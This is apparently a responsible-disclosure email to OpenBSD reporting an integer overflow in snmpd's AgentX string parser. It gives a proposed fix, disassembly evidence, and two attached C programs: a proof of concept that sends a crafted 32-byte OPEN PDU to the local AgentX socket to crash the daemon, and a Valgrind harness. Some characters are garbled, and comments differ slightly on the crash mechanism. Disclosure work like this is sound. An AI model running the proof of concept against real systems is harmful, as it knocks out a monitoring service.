Hello,
I am reporting a vulnerability in usr.sbin/snmpd that exists in the
current OpenBSD source tree but
is not present in the OpenBSD 7.8 release binary. It is an integer
overflow in ax_pdutoostring()
that bypasses the bounds guard, leads to malloc(0), and then memcpy of
4 GiB into the resulting
access-protected allocation — causing immediate SIGSEGV and daemon
crash. Without a fix, this will
ship in the next release.
Attack requires local _agentx group membership; there is no
network-reachable path on a default install.
---
AFFECTED VERSIONS
Vulnerable: OpenBSD -current source (ax.c v1.8, 2026/05/07)
Not affected: OpenBSD 7.8 release binary (/usr/sbin/snmpd, amd64, 2025-10-12)
The vulnerable guard was introduced into the source tree between
October 2025 and May 2026.
The 7.8 binary uses a correct direct 64-bit comparison (verified by
disassembly — see below).
---
COMPONENT
usr.sbin/snmpd/ax.c — ax_pdutoostring(), lines 1408-1415
SUMMARY
An integer overflow in the padding calculation of ax_pdutoostring()
allows the bounds guard to be
bypassed when the attacker sets the AgentX string length field to
0xFFFFFFFF. The guard, allocation,
and copy then proceed against an access-protected zero-size
allocation, causing immediate SIGSEGV
and daemon crash. A single 32-byte AgentX OPEN PDU is sufficient to
trigger the bug against a
snmpd built from current source.
SEVERITY
Medium. Attack vector is local (Unix domain socket, mode 0660, group
_agentx). No network path
on default install. Impact is availability only — deterministic
crash of snmpd, no information
disclosure, no privilege escalation. CVSS ~6.1
(AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
---
VULNERABLE CODE (ax.c lines 1408-1415, v1.8 2026/05/07)
ostring->aos_slen = ax_pdutoh32(header, buf); /* attacker sets 0xFFFFFFFF */
rawlen -= 4;
buf += 4;
if (((ostring->aos_slen + 3) & ~3U) > rawlen) /* GUARD -- bypassed
by integer overflow */
goto fail;
if ((ostring->aos_string = malloc(ostring->aos_slen + 1)) == NULL)
/* malloc(0) */
return -1;
memcpy(ostring->aos_string, buf, ostring->aos_slen);
/* memcpy 4 GiB */
OVERFLOW 1 -- GUARD BYPASS
With aos_slen = 0xFFFFFFFF (uint32_t):
(0xFFFFFFFF + 3) wraps to 0x00000002 [unsigned 32-bit wrap,
defined by C standard]
0x00000002 & ~3U = 0x00000000
0x00000000 > rawlen -> always false (0 is not greater than any size_t value)
The guard is unconditionally bypassed regardless of rawlen.
OVERFLOW 2 -- ALLOCATION
malloc(0xFFFFFFFF + 1) = malloc(0x100000000)
truncated in uint32_t = malloc(0)
On OpenBSD, malloc(0) returns a non-NULL pointer to an
access-protected, zero-size object
(per malloc(3) man page). The == NULL check does not abort the function.
CRASH
memcpy(ptr, buf, 0xFFFFFFFF) writes to the access-protected allocation.
The first write generates SIGSEGV -> snmpd crash.
---
ARITHMETIC PROOF (compiled and run on Linux/gcc 14.2.0; aarch64; and
confirmed on OpenBSD VM):
uint32_t aos_slen = 0xFFFFFFFF;
uint32_t padded = (aos_slen + 3) & ~3U; /* = 0 */
/* guard: 0 > rawlen -> FALSE (bypassed) */
/* malloc: aos_slen + 1 = 0 -> malloc(0) returns non-NULL
access-protected pointer */
/* memcpy(ptr, buf, 0xFFFFFFFF) -> first write to protected page -> SIGSEGV */
---
BINARY VERIFICATION -- OpenBSD 7.8 IS NOT AFFECTED
Disassembly of /usr/sbin/snmpd (amd64, 685112 bytes, 2025-10-12) shows
the ostring parser
function at 0x3d220 uses a direct 64-bit comparison, not the
(aos_slen+3)&~3U guard:
3d236: cmp $0x4,%rcx ; rawlen < 4 -> error
3d23a: jb 3d255
3d23c: mov (%rdx),%eax ; read string length
3d249: mov %edi,0x8(%rsi) ; store aos_slen (32-bit)
3d24c: add $0xfffffffffffffffc,%rcx ; rcx = rawlen - 4
(64-bit arithmetic)
3d250: cmp %rdi,%rcx ; (rawlen-4) vs
string_length (zero-extended)
3d253: jae 3d290 ; rawlen-4 >=
string_length -> proceed
3d255: [error path]
With string_length = 0xFFFFFFFF: rdi = 0x00000000FFFFFFFF; rcx = 0.
cmp: 0 < 4294967295 -> takes error path every time. No malloc. No crash.
This confirms the 7.8 binary was compiled from an older, correct
implementation. The vulnerable
(aos_slen+3)&~3U guard was introduced into the source tree between
October 2025 and May 2026.
---
ATTACK VECTOR
Socket: /var/agentx/master (AGENTX_MASTER_PATH, snmpd.h:55)
Mode: 0660, owner root, group _agentx
Access: Requires _agentx group membership or root (local only)
Trigger: 32-byte AgentX OPEN PDU
Header (20 bytes, RFC 2741 s6.1):
version=1, type=1 (OPEN), flags=0x00 (little-endian,
AX_PDU_FLAG_NETWORK_BYTE_ORDER clear),
payload_length=12
Payload (12 bytes, RFC 2741 s6.2.1):
[0-3] timeout=5, reserved=0,0,0
[4-7] null OID: n_subid=0, prefix=0, include=0, reserved=0
[8-11] string_length = 0xFFFFFFFF (LE: FF FF FF FF) <- trigger
At ax_pdutoostring entry (OPEN PDU path): rawlen = 4 (12 - 4 timeout - 4 OID).
After reading length: rawlen = 0.
Guard: (0xFFFFFFFF+3)&~3U = 0; 0 > 0 -> false -> bypassed.
malloc(0) -> non-NULL access-protected pointer.
memcpy -> SIGSEGV -> crash.
---
PROPOSED FIX
Insert a direct bounds check before the padded alignment check. Once
aos_slen is bounded
by rawlen (always a small value derived from aph_plength), the
subsequent +3 cannot wrap
and the existing padded check works correctly:
/* Before line 1411 in ax.c */
if (ostring->aos_slen > rawlen)
goto fail;
/* Existing guard now safe -- aos_slen is bounded, no wrap possible */
if (((ostring->aos_slen + 3) & ~3U) > rawlen)
goto fail;
Minimal two-line fix. No type changes required.
Also recommend auditing all four call sites of ax_pdutoostring()
(ax.c lines 194, 216, 374, 1472)
and any other ax_pdutoh32() consumers feeding length fields for the
same pattern.
---
PROOF OF CONCEPT
Attached: snmpd_agentx_poc.c and snmpd_valgrind_harness.c
snmpd_agentx_poc.c connects to /var/agentx/master and sends the
32-byte PDU above.
Build: cc -Wall -std=c99 -o snmpd_agentx_poc snmpd_agentx_poc.c
snmpd_valgrind_harness.c reproduces the overflow in isolation (no
daemon required).
Confirmed on Linux aarch64 (Valgrind 3.24.0): 1,679 errors including
Invalid read/write
and SIGSEGV on the vulnerable path; zero errors on the fixed path.
Build: gcc -Wall -std=c99 -g -o harness snmpd_valgrind_harness.c
Run: valgrind --tool=memcheck --error-exitcode=1 ./harness
Live test against OpenBSD 7.8 binary: PDU sent; snmpd returned
protocol error and closed
connection (no crash). Consistent with binary having correct guard
(verified by disassembly).
---
REFERENCES
ax.c lines 1408-1415 (ax_pdutoostring, string length parsing)
snmpd.h line 55 (AGENTX_MASTER_PATH)
parse.y lines 283-295 (socket mode 0660, group _agentx defaults)
application_agentx.c lines 148-173 (socket bind + chmod)
RFC 2741 s6.1 (AgentX PDU header), s6.2.1 (OPEN PDU)
ax.h (AX_PDU_FLAG_NETWORK_BYTE_ORDER = 1<<4 = 0x10)
CWE-190 (Integer Overflow), CWE-131 (Incorrect Calculation of Buffer Size)
This is the third finding from a current research track on OpenBSD
daemons. OSPFD-001
(ospfd routing corruption) and OSPF6D-001 (ospf6d OOB read) were
reported separately.
Thank you for your time.
/*
* snmpd_agentx_poc.c
* SNMPD-001: AgentX OPEN PDU heap overflow via integer overflow in
* ax_pdutoostring() â usr.sbin/snmpd/ax.c
*
* Bug: (uint32_t)(0xFFFFFFFF + 3) & ~3U == 0, bypassing the bounds guard.
* malloc(0xFFFFFFFF + 1) == malloc(0) succeeds. memcpy then copies
* 0xFFFFFFFF (4 GiB) bytes into the 0-byte allocation â heap corruption.
*
* Trigger: connect to the AgentX socket and send a minimal OPEN PDU whose
* description string length field is 0xFFFFFFFF.
*
* Socket: /var/agentx/master (default path, AGENTX_MASTER_PATH in snmpd.h)
* Owned by root:_agentx, mode 0660 by default (parse.y:295).
* Attacker must be in the _agentx group or running as root.
*
* Build (OpenBSD or Linux with gcc):
* gcc -Wall -std=c99 -o snmpd_agentx_poc snmpd_agentx_poc.c
*
* Build with ASAN (Linux only â ASAN is unavailable on OpenBSD):
* gcc -Wall -std=c99 -fsanitize=address -o snmpd_agentx_poc snmpd_agentx_poc.c
*
* DO NOT run against a live/production snmpd. Use an isolated test instance.
*
* Research: SNMPD-001, 2026-05-17
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/un.h>
/* Default AgentX master socket path (AGENTX_MASTER_PATH in snmpd.h) */
#define AGENTX_SOCKET_PATH "/var/agentx/master"
/* AgentX PDU types (RFC 2741) */
#define AX_PDU_TYPE_OPEN 1
/* AgentX PDU header flags (ax.h verified on OpenBSD 7.8) */
#define AX_PDU_FLAG_NETWORK_BYTE_ORDER 0x10 /* (1<<4): set = big-endian, clear = little-endian */
#define AX_PDU_FLAGS_LE 0x00 /* no flag set = LE mode â what we want */
/*
* AgentX PDU header layout (20 bytes, RFC 2741 §6.1):
* version [0] 1 byte â must be 1
* type [1] 1 byte â PDU type
* flags [2] 1 byte â byte order and misc flags
* reserved [3] 1 byte
* sessionID [4-7] 4 bytes
* transactID [8-11] 4 bytes
* packetID [12-15] 4 bytes
* payload_len [16-19] 4 bytes â length of payload in bytes (NOT including header)
*
* OPEN PDU payload layout (RFC 2741 §6.2.1):
* timeout [0] 1 byte â default timeout
* reserved [1-3] 3 bytes
* id [4-7] OID â subagent OID (4 bytes for null OID: n=0, prefix=0, include=0, reserved=0)
* descr octet-string â description (4-byte length + padded data)
*
* Minimum payload for the overflow:
* 4 bytes: timeout + reserved
* 4 bytes: null OID (n_subid=0, prefix=0, include=0, reserved=0)
* 4 bytes: string length = 0xFFFFFFFF (trigger the integer overflow)
* Total payload = 12 bytes â aph_plength = 12
*
* At ax_pdutoostring (ax.c ~line 1400):
* aos_slen = 0xFFFFFFFF
* rawlen at entry = 4 (just the string length field remains when called for descr
* because: 12 total - 4 timeout - 4 OID = 4)
* After reading length: rawlen -= 4 â rawlen = 0
* Guard: ((0xFFFFFFFF + 3) & ~3U) = 0, so 0 > 0 is false â BYPASSED
* malloc(0xFFFFFFFF + 1) = malloc(0) â succeeds, returns ~8 byte chunk
* memcpy(ptr, buf, 0xFFFFFFFF) â reads 4 GiB past end of receive buffer
*/
static void
write_u32_le(uint8_t *buf, uint32_t val)
{
buf[0] = (val >> 0) & 0xFF;
buf[1] = (val >> 8) & 0xFF;
buf[2] = (val >> 16) & 0xFF;
buf[3] = (val >> 24) & 0xFF;
}
static void
write_u32_be(uint8_t *buf, uint32_t val)
{
buf[0] = (val >> 24) & 0xFF;
buf[1] = (val >> 16) & 0xFF;
buf[2] = (val >> 8) & 0xFF;
buf[3] = (val >> 0) & 0xFF;
}
int
main(int argc, char *argv[])
{
const char *sockpath = (argc > 1) ? argv[1] : AGENTX_SOCKET_PATH;
int fd;
struct sockaddr_un sun;
/*
* Craft the malicious OPEN PDU.
*
* flags = 0x00 (AX_PDU_FLAG_NETWORK_BYTE_ORDER clear = little-endian).
* 0x10 is the NETWORK BYTE ORDER flag (big-endian), NOT the LE flag.
* All multi-byte fields written LE below.
*
* Payload (12 bytes):
* [0-3] timeout=5, reserved=0,0,0
* [4-7] null OID: n_subid=0, prefix=0, include=0, reserved=0
* [8-11] string length = 0xFFFFFFFF (LE: FF FF FF FF)
*/
uint8_t pdu[20 + 12];
memset(pdu, 0, sizeof(pdu));
/* --- PDU header (20 bytes) --- */
pdu[0] = 1; /* version = 1 */
pdu[1] = AX_PDU_TYPE_OPEN; /* type = Open-PDU */
pdu[2] = AX_PDU_FLAGS_LE; /* flags = 0x00: little-endian (AX_PDU_FLAG_NETWORK_BYTE_ORDER clear) */
pdu[3] = 0; /* reserved */
write_u32_le(pdu + 4, 0); /* sessionID = 0 */
write_u32_le(pdu + 8, 0); /* transactionID = 0 */
write_u32_le(pdu + 12, 1); /* packetID = 1 */
write_u32_le(pdu + 16, 12); /* payload_length = 12 bytes */
/* --- OPEN PDU payload (12 bytes) --- */
pdu[20] = 5; /* timeout = 5 seconds */
/* pdu[21-23] = reserved = 0 (already zero from memset) */
/* Null OID: n_subid=0, prefix=0, include=0, reserved=0 */
pdu[24] = 0; /* n_subid */
pdu[25] = 0; /* prefix */
pdu[26] = 0; /* include */
pdu[27] = 0; /* reserved */
/* Description string length = 0xFFFFFFFF (LE) â TRIGGER */
write_u32_le(pdu + 28, 0xFFFFFFFF);
printf("[*] SNMPD-001 AgentX OPEN PDU overflow PoC\n");
printf("[*] Target socket: %s\n", sockpath);
printf("[*] PDU payload_length = 12, string_length = 0xFFFFFFFF\n");
printf("[*] Expected: malloc(0) â 4GiB memcpy â snmpd crash / heap corruption\n\n");
fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (fd < 0) {
perror("socket");
return 1;
}
memset(&sun, 0, sizeof(sun));
sun.sun_family = AF_UNIX;
strncpy(sun.sun_path, sockpath, sizeof(sun.sun_path) - 1);
printf("[*] Connecting to %s ...\n", sockpath);
if (connect(fd, (struct sockaddr *)&sun, sizeof(sun)) < 0) {
perror("connect");
close(fd);
return 1;
}
printf("[+] Connected.\n");
printf("[*] Sending %zu-byte malicious OPEN PDU ...\n", sizeof(pdu));
ssize_t n = write(fd, pdu, sizeof(pdu));
if (n < 0) {
perror("write");
close(fd);
return 1;
}
printf("[+] Sent %zd bytes.\n", n);
/*
* Wait briefly to let snmpd process the PDU.
* If snmpd crashes, the connection will be reset.
*/
printf("[*] Waiting for snmpd response (or crash)...\n");
uint8_t resp[256];
n = read(fd, resp, sizeof(resp));
if (n < 0) {
if (errno == ECONNRESET) {
printf("[+] Connection reset by peer â snmpd likely crashed!\n");
} else {
perror("read");
}
} else if (n == 0) {
printf("[+] Connection closed by snmpd â possible crash or rejection.\n");
} else {
printf("[*] Received %zd bytes (snmpd still alive â check for heap corruption).\n", n);
for (ssize_t i = 0; i < n && i < 32; i++)
printf("%02x ", resp[i]);
printf("\n");
}
close(fd);
return 0;
}
/*
* snmpd_valgrind_harness.c
* SNMPD-001: Standalone Valgrind harness for ax_pdutoostring() integer overflow
*
* Reproduces the exact vulnerable logic from ax.c lines 1408-1415.
* Run under Valgrind to get objective heap overflow evidence without
* needing access to a live snmpd or the AgentX socket.
*
* Build:
* gcc -Wall -std=c99 -g -o snmpd_valgrind_harness snmpd_valgrind_harness.c
*
* Run (Pi 400 / any Linux with Valgrind):
* valgrind --tool=memcheck --error-exitcode=1 ./snmpd_valgrind_harness
*
* Expected Valgrind output (vulnerable path):
* Invalid write of size N ... N bytes after block of size 0 alloc'd
*
* Run fixed path to confirm clean:
* valgrind --tool=memcheck --error-exitcode=1 ./snmpd_valgrind_harness fixed
* --> 0 errors (correct rejection, no malloc/memcpy called)
*
* Research: SNMPD-001, 2026-05-17
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
/* Mirrors the OpenBSD agentx_ostring struct member we care about */
struct ax_ostring {
char *aos_string;
uint32_t aos_slen;
};
/*
* vulnerable_parse() â exact logic from ax.c:1408-1415.
*
* buf: simulated receive buffer (what came off the socket after timeout+OID)
* rawlen: bytes remaining in payload at the point ax_pdutoostring is called
* (= 4 when triggered: payload_length=12 - 4 timeout - 4 OID = 4)
*
* Returns 0 on success (bug triggered), -1 if NULL check fires, 1 if guard trips.
*/
static int
vulnerable_parse(struct ax_ostring *ostring, const uint8_t *buf, size_t rawlen)
{
/* Pre-check from actual source (verified ax.c v1.8): rawlen < 4 â fail */
if (rawlen < 4) {
printf("[vuln] pre-check rawlen<4 fired (%zu < 4) â no overflow\n", rawlen);
return 1;
}
/* Line 1408: read attacker-controlled length from wire (LE) */
ostring->aos_slen = (uint32_t)buf[0]
| ((uint32_t)buf[1] << 8)
| ((uint32_t)buf[2] << 16)
| ((uint32_t)buf[3] << 24);
rawlen -= 4;
buf += 4;
printf("[vuln] aos_slen read from wire: 0x%08X (%u)\n",
ostring->aos_slen, ostring->aos_slen);
/* Line 1411: GUARD â the broken check */
uint32_t padded = (ostring->aos_slen + 3) & ~3U;
printf("[vuln] padded = (aos_slen+3)&~3U = 0x%08X (%u)\n", padded, padded);
printf("[vuln] guard: %u > %zu = %s\n",
padded, rawlen, (padded > rawlen) ? "TRUE (would block)" : "FALSE (bypassed!)");
if (padded > rawlen) {
printf("[vuln] guard fired â no overflow\n");
return 1;
}
/* Line 1413: ALLOCATION â overflows to malloc(0) */
uint32_t alloc_arg = ostring->aos_slen + 1;
printf("[vuln] malloc argument: aos_slen+1 = 0x%08X (%u) â wraps to %u\n",
alloc_arg, alloc_arg, alloc_arg);
if ((ostring->aos_string = malloc(alloc_arg)) == NULL) {
printf("[vuln] malloc returned NULL â bug aborted\n");
return -1;
}
printf("[vuln] malloc(%u) returned %p â non-NULL, bug proceeds\n",
alloc_arg, (void *)ostring->aos_string);
/* Line 1415: COPY â 0xFFFFFFFF bytes into tiny allocation */
printf("[vuln] calling memcpy(dst=%p, src=buf, len=0x%08X)\n",
(void *)ostring->aos_string, ostring->aos_slen);
printf("[vuln] *** THIS IS THE OVERFLOW â Valgrind will report here ***\n");
memcpy(ostring->aos_string, buf, ostring->aos_slen);
printf("[vuln] memcpy returned (should not reach here under Valgrind)\n");
free(ostring->aos_string);
return 0;
}
/*
* fixed_parse() â implements the two-line fix:
* if (ostring->aos_slen > rawlen) goto fail;
* [existing padded guard, now safe]
*/
static int
fixed_parse(struct ax_ostring *ostring, const uint8_t *buf, size_t rawlen)
{
/* Pre-check â matches actual source */
if (rawlen < 4)
return 1;
ostring->aos_slen = (uint32_t)buf[0]
| ((uint32_t)buf[1] << 8)
| ((uint32_t)buf[2] << 16)
| ((uint32_t)buf[3] << 24);
rawlen -= 4;
buf += 4;
printf("[fixed] aos_slen = 0x%08X (%u)\n", ostring->aos_slen, ostring->aos_slen);
/* FIX: direct bounds check before padded arithmetic */
if (ostring->aos_slen > rawlen) {
printf("[fixed] direct check fired: %u > %zu â rejected correctly\n",
ostring->aos_slen, rawlen);
return 1;
}
/* Padded check (now safe â aos_slen bounded by rawlen) */
if (((ostring->aos_slen + 3) & ~3U) > rawlen) {
printf("[fixed] padded guard fired\n");
return 1;
}
/* malloc and memcpy would follow but we never reach here for 0xFFFFFFFF */
if ((ostring->aos_string = malloc(ostring->aos_slen + 1)) == NULL)
return -1;
memcpy(ostring->aos_string, buf, ostring->aos_slen);
free(ostring->aos_string);
return 0;
}
int
main(int argc, char *argv[])
{
int run_fixed = (argc > 1 && strcmp(argv[1], "fixed") == 0);
/*
* Simulated wire bytes at the point ax_pdutoostring is called for the
* description field of an AgentX OPEN PDU:
*
* [0-3] string_length = 0xFFFFFFFF (LE) â TRIGGER
* [4..] string data (none â rawlen will be 0 after reading length)
*
* rawlen at entry = 4 (payload_length=12, minus 4 timeout, minus 4 OID).
* This mirrors the exact state in ax_recv when parsing the OPEN PDU descr.
*/
uint8_t wire[8] = { 0xFF, 0xFF, 0xFF, 0xFF, /* string_length = 0xFFFFFFFF */
0x00, 0x00, 0x00, 0x00 }; /* no string data */
size_t rawlen = 4;
struct ax_ostring ostring = { NULL, 0 };
printf("=== SNMPD-001 Valgrind Harness ===\n");
printf("Simulating ax_pdutoostring() with aos_slen=0xFFFFFFFF, rawlen=%zu\n\n",
rawlen);
if (run_fixed) {
printf("--- FIXED PATH ---\n");
int r = fixed_parse(&ostring, wire, rawlen);
if (r == 1)
printf("\n[PASS] Fixed: correctly rejected malformed length â no malloc, no memcpy\n");
else
printf("\n[FAIL] Fixed path did not reject â check harness\n");
} else {
printf("--- VULNERABLE PATH ---\n");
printf("(run with argument 'fixed' to test the patched version)\n\n");
int r = vulnerable_parse(&ostring, wire, rawlen);
if (r == 0)
printf("\n[DONE] Returned normally â Valgrind output above shows the overflow\n");
else if (r == 1)
printf("\n[UNEXPECTED] Guard fired â trigger not working?\n");
else
printf("\n[NOTE] malloc returned NULL â platform returned NULL for malloc(0)\n");
}
return 0;
}